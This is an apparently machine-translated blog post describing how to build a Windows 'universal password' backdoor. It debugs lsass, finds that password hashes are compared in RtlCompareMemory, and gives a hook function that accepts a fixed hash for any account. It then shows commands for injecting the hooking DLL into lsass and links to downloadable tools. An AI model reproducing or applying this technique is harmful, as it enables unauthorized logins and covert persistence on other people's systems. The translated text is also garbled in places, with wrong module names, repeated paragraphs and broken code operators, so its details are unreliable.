How to Use IAT hook to implement windows universal password Backdoor

Comments: Whether it is true or not, we can implement such a backdoor by ourselves. First, we will briefly introduce some windows login processes. The winlogon process uses gina. dll to obtain the user name and password, and transmits it to the lsass process through LPC. The lsass process then calls the default authentication package msv00000.dll to verify the correct password. Msv1_0 is used to obtain the user from SAM. Whether it is true or not, we can implement such a backdoor by ourselves.

First, we will briefly introduce some windows login processes.
The winlogon process uses gina. dll to obtain the user name and password, and transmits it to the lsass process through LPC.
The lsass process then calls the default authentication package msv00000.dll to verify the correct password.
Msv1_0 obtains the user information from SAM, including the hash of the password.

To implement such a backdoor, you must first find the bottommost layer of the series of functions for login verification, and then perform operations there.
Obviously, this underlying function is in the msv1_0.dll module of the lsass process.

What lsass calls msv1_0.dll is this function:

Code:
Msv1_0! LsaApLogonUserEx2

LsaApLogonUserEx2 in MSDN

Then we should debug the lsass process and then go to msv1_0! LsaApLogonUserEx2.
Here, I use windbg and vmware and dbgsrv for remote user-state debugging.
Http://blogs.msdn.com/spatdsg/archiv... 27/507265. aspx
The above Spat blog describes how to use dbgsrv Debugging (Debugging LSA via dbgsrv.exe ).
Run on a virtual machine (debug end)

Code:
Dbgsrv.exe-t tcp: port = 1234, password = spat

Then run

Code:
Windbg.exe-premote tcp: server = 192.168.1.102, port = 1234, password = spat

Then select to attach the lsass process.
But here we can't log on and run dbgsrv again, so dbgsrv will be turned off, so I will use the windows task plan to run dbgsrv on startup.

After the virtual machine is started, dbgsrv is also up, and then connected to the lsass process with windbg.
At the breakpoint msv1_0! After LsaApLogonUserEx2, let lsass continue to run.
Then, the windbg was disconnected.

At this time, we will introduce a strong windbg command, that is, wt, which records all the function call relationships and keeps records of ret. For detailed usage, see windbg help.
I guess wt is a single-step operation, so it is very slow.
However, wt outputs a lot of text, which is too ugly. So I wrote a python script to convert the wt output into a TreeCtrl.

You should pay attention to the function that I clicked on: ntdll! RtlCompareMemory.
After debugging, I found that this function is the "bottom-layer function" I am looking ".

Code:
SIZE_T
RtlCompareMemory (
In const void * Source1,
In const void * Source2,
IN SIZE_T Length
);

RtlCompareMemory in MSDN
I also found the details of the three parameters of this function during password verification,
Source1 is a Unicode md4 hash of the User Password retrieved from SAM,
Source2 is a Unicode md4 hash of the password entered by the user,
Length is always 16, because the md4 hash is 16 bits.
It is easy to write the following alternative function:

Code:
Int WINAPI MyRtlCompareMemory (void * a, void * B, int len ){
If (len = 16 & pRtlCompareMemory (PASSWD_HASH, B, len) = 16)
Return 16;
Return pRtlCompareMemory (a, B, len );
}

PRtlCompareMemory is a global variable, the address of the real RtlCompareMemory, and PASSWD_HASH is the hash of the common password.
You can use myrtlcomparemory to hook up rtlcomparemory to implement the predefined functions.
If we want to compare 16-bit memory, and the second segment of memory is the same as our hash, we can directly release it, no matter what the first segment of memory is.
A friend may ask, if you hook all the calls to RtlCompareMemory in the msv1_0 module, will the error not occur?
Don't worry, it's so clever. We need to compare 16 bits and the second segment of memory is exactly the same as our hash?

There are many methods to hook this function,
I chose the lazy IAT hook dll injection.
So I wrote a small tool to inject dll: DllInject

Code:
C: \ Documents ents and Settings \ cly \ Desktop \ bin> InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-I |-u |-U) pid filename
-I: Inject
-U: UnInject once
-U: UnInject at all

Passdoor. dll is the dll to be injected into the lsass process. This dll implements IAT hook in the DllMain. If it is very earthy, no code will be posted, and a basket will be searched on the Internet.

Then I wrote another tool: pdconfig
In fact, it is to change the hash in passdoor. dll to avoid re-compiling passdoor. dll to change the password.

Usage:

Code:
InjectDll.exe-I pid_of_lsass full_path_of_passdoor.dll

Uninstall method:

Code:
InjectDll.exe-U pid_of_lsass full_path_of_passdoor.dll

Http://clyfish.googlepages.com/passdoor.rar
Here is the source code of related tools and compiled binary files.
The packages include injectdll.exe, passdoor.dlland pdconfig.exe. All codes are compiled using MingW gcc4.2.1.